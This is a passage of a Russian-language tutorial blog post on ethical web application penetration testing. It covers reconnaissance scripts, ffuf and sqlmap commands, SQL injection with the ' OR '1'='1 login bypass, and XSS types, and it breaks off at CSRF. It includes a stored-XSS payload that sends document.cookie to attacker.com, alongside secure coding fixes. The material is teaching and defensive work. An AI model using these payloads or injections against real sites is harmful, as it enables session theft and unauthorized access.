Если вы когда-нибудь задумывались, что происходит на «другой стороне» веб-безопасности — где хорошие парни намеренно что-то ломают, — то вам предстоит увлекательное путешествие. Этичный хакерство для веб-приложений — это, по сути, искусство мыслить как преступник, чтобы предотвратить реальные преступления. Это разрешённый хаос в структурированном формате, и, в отличие от настоящего хакинга, никто не отправит вас в тюрьму. Довольно выгодное предложение, правда?

Почему вам следует заботиться о безопасности веб-приложений?

Прежде чем мы углубимся в тонкости методов эксплуатации, давайте определимся, почему это важно. Веб-приложения есть повсюду — ваше банковское приложение, социальные сети, тот странный SaaS-инструмент, за который ваша компания платит 500 долларов в месяц. Каждое из них может стать потенциальной золотой жилой для злоумышленников или потенциальной ответственностью для компаний, которые не продумали свою безопасность.

Правда неприятна: у большинства веб-приложений есть уязвимости. Не «могут быть», а почти наверняка есть. Уязвимости из списка OWASP Top 10 преследуют веб-приложения почти два десятилетия, и они всё ещё появляются в производственном коде, как нежелательные родственники на ужине в честь Дня благодарения.

Этичные хакеры заполняют критический пробел. Мы — авторизованные атакующие, которые находят уязвимости раньше, чем это делают злонамеренные лица. Это превентивная медицина для вашей цифровой инфраструктуры.

Понимание вашей миссии: фреймворк этичного хакерства

Прежде чем вы даже задумаетесь об эксплуатации чего-либо, вам необходимо понять правовую и этическую ситуацию. Этичное хакерство работает только тогда, когда оно действительно разрешено. Получите письменное разрешение. Зафиксируйте это в письменном виде. Серьёзно, не пропускайте этот шаг, если не хотите, чтобы ваша карьера взяла неожиданный поворот.

Надлежащее тестирование на проникновение в веб-приложение следует структурированной методологии, обычно основанной на фреймворке OWASP. Общий поток выглядит примерно так:

graph LR A["Сбор разведданных"] --> B["Сканирование и перечисление"] B --> C["Анализ уязвимостей"] C --> D["Эксплуатация"] D --> E["Пост-эксплуатация"] E --> F["Отчётность"] F --> G["Устранение"]

Каждый этап основывается на предыдущем, и пропуск шагов — это то, как младшие пентестеры упускают уязвимости, за поиск которых старшие пентестеры берут тысячи.

Этап 1: Сбор разведданных — искусство притворяться потерявшимся туристом

Сбор разведданных — это когда вы собираете информацию о своей цели, не вызывая подозрений. Думайте об этом как о преследовании, но законном.

Пассивный сбор разведданных

Пассивный сбор разведданных означает сбор информации без прямого взаимодействия с целевой системой. Вы в основном используете Google как детектив.

Что нужно исследовать:

  • Информация о домене с помощью поиска WHOIS;
  • Записи DNS и поддомены;
  • Публичные репозитории на GitHub (разработчики любят случайно коммитить API-ключи);
  • Социальные сети и информация о сотрудниках;
  • Вакансии (да, они раскрывают технические стеки);
  • Кэшированные страницы и веб-архивы;
  • История SSL-сертификатов.

Вот практический скрипт на bash для сбора некоторой начальной информации:

#!/bin/bash
# Скрипт пассивного сбора разведданных
TARGET="$1"
if [ -z "$TARGET" ]; then
    echo "Использование: $0 <домен>"
    exit 1
fi
echo "[*] Информация WHOIS:"
whois "$TARGET" 2>/dev/null | grep -E "Registrant|Admin|Tech|Created|Expires" | head -10
echo -e "\n[*] Записи DNS:"
dig "$TARGET" +short
dig "$TARGET" MX +short
dig "$TARGET" NS +short
echo -e "\n[*] Поддомены (используя общие шаблоны):"
for sub in www mail ftp admin api dev staging; do
    dig "$sub.$TARGET" +short 2>/dev/null | grep -v "^$" && echo "$sub.$TARGET"
done
echo -e "\n[*] Тестирование на наличие общих путей:"
curl -s -I "https://$TARGET/robots.txt" | head -1
curl -s -I "https://$TARGET/.well-known/security.txt" | head -1
curl -s "https://$TARGET/sitemap.xml" | head -5

Активный сбор разведданных

После того как вы получите письменное разрешение, активный сбор разведданных предполагает непосредственное зондирование цели. Здесь в игру вступают такие инструменты, как BurpSuite Pro и ZAP. Вы собираетесь:

  • Выполнить сканирование портов;
  • Определить веб-серверы и технологии;
  • Составить карту структуры приложения;
  • Обнаружить скрытые конечные точки.
# Перечисление поддоменов с помощью ffuf
ffuf -w /path/to/wordlist.txt -u "https://TARGET/FUZZ" -mc 200,301,302
# Более агрессивная версия для авторизованных тестов
ffuf -w /path/to/wordlist.txt -u "https://TARGET/FUZZ" -mc 200,301,302,401,403 -c -v

Этап 2: Понимание распространённых уязвимостей веб-приложений

Теперь мы переходим к самому интересному — уязвимостям. Давайте рассмотрим OWASP Top 10 через призму практики.

SQL-инъекция: дед всех уязвимостей

SQL-инъекция древняя по меркам интернета, но она всё ещё повсюду. Она происходит, когда пользовательский ввод неправильно очищается иconcatenated напрямую в SQL-запросы.

Уязвимый код (PHP — плохой паттерн):

<?php
$username = $_POST['username'];
$password = $_POST['password'];
// НЕ ДЕЛАЙТЕ ЭТО — НИКОГДА
$query = "SELECT * FROM users WHERE username = '" . $username . "' AND password = '" . $password . "'";
$result = mysqli_query($conn, $query);
?>

Злоумышленник может ввести: ' OR '1'='1 для имени пользователя, полностью минуя аутентификацию.

Тестирование на SQL-инъекцию:

# Использование sqlmap для выявления уязвимостей SQLi
sqlmap -u "https://target.com/login.php" --data="username=test&password=test" -p username --risk=1 --level=1
# Более агрессивное тестирование
sqlmap -u "https://target.com/search.php?query=test" -p query --risk=3 --level=5 --batch

Безопасная реализация (PHP — хороший паттерн):

<?php
$username = $_POST['username'];
$password = $_POST['password'];
// Используйте подготовленные операторы
$stmt = $conn->prepare("SELECT * FROM users WHERE username = ? AND password = ?");
$stmt->bind_param("ss", $username, $password);
$stmt->execute();
$result = $stmt->get_result();
?>

Межсайтовый скриптинг (XSS): злой близнец JavaScript

XSS происходит, когда злоумышленник внедряет вредоносный JavaScript в веб-страницу. Существует три основных типа:

1. Отраженный XSS — злоумышленник обманывает пользователя, заставляя его нажать на вредоносную ссылку:

https://target.com/search.php?q=<script>alert('XSS')</script>

2. Сохраненный XSS — полезная нагрузка сохраняется в базе данных и выполняется для каждого пользователя:

<!-- Уязвимая форма комментариев -->
<form method="POST" action="/submit_comment.php">
    <textarea name="comment"></textarea>
    <button type="submit">Опубликовать</button>
</form>
<!-- Если комментарий не очищен: -->
<!-- Злоумышленник отправляет: <img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)"> -->

3. XSS на основе DOM — уязвимый клиентский JavaScript-код:

// Уязвимый JavaScript
document.getElementById("output").innerHTML = userInput;
// Лучший подход
document.getElementById("output").textContent = userInput;

Рекомендации по предотвращению:

<?php
// Эскейп вывода
echo htmlspecialchars($user_input, ENT_QUOTES, 'UTF-8');
// Используйте заголовки политики безопасности содержимого
header("Content-Security-Policy: default-src 'self'; script-src 'self'");
// Проверяйте и очищайте ввод
$clean_input = filter_var($user_input, FILTER_SANITIZE_STRING);
?>

Межсайтовая подделка запросов (CSRF): хитрый самозванец

CSRF обманывает аутентифицированного пользователя, заставляя его выполнять нежелательные действия. Это цифровой эквивалент подделки чьей-либо подписи